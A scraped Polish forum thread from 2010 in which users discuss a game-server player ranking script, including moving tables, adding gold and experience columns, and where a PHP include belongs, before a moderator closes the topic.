<div style="clear:both;"></div>

</div>

</div>

<div><img src="images/d.jpg" alt="" /></div>

</div>

</div>

</body>

</html>

Efekt ?

yy wiem, że prosiłem o zamknięcie, ale zrobiłem jeszcze wersję rankingu V2

wygląda ona tak :

chętnych o kod na PW

oczywiście za plusiki

Co do tego ostatniego rankingu, edytowanego przez ciebie.

Wystarczy przesunąć lekko tabelki, dodać "gold" "exp" i jeszcze ta ostatnia tabelka z navicata...

Nic trudnego >.> No ale za naprawiony kod masz + :P

Krzysztofa · 21 Grudnia 2010

trzeba dodać nowe funkcje i wpisać z kąd ma to pobierać.

dodatkowo trzeba dobrze dopisać w dobrym miejscu kody

ale dziękuje za plusik, też ci dałem,

ale ja dalej nie widze, że temat zamknięty:)

zaraz do modka jakiegoś na PW szepne

nic trudnego powiadasz..

to dlaczego mówiłeś, ze tam ma być include

include daje się na początku, np do połączenia configa

poza tym, mogłeś napisać nam to

21 Grudnia 2010

Zamykam na prośbę autora.

Zaloguj się

👋 Witaj na MPCForum!

[Inne] Ranking Graczy Bug

Rekomendowane odpowiedzi

Krzysztofa

Krzysztofa

MarioBase

MarioBase

Taz9

Taz9

Krzysztofa

Krzysztofa

damomo

damomo

Patryczek1996

Patryczek1996

Krzysztofa

Krzysztofa

damomo

damomo

Krzysztofa

Krzysztofa

Gość

Gość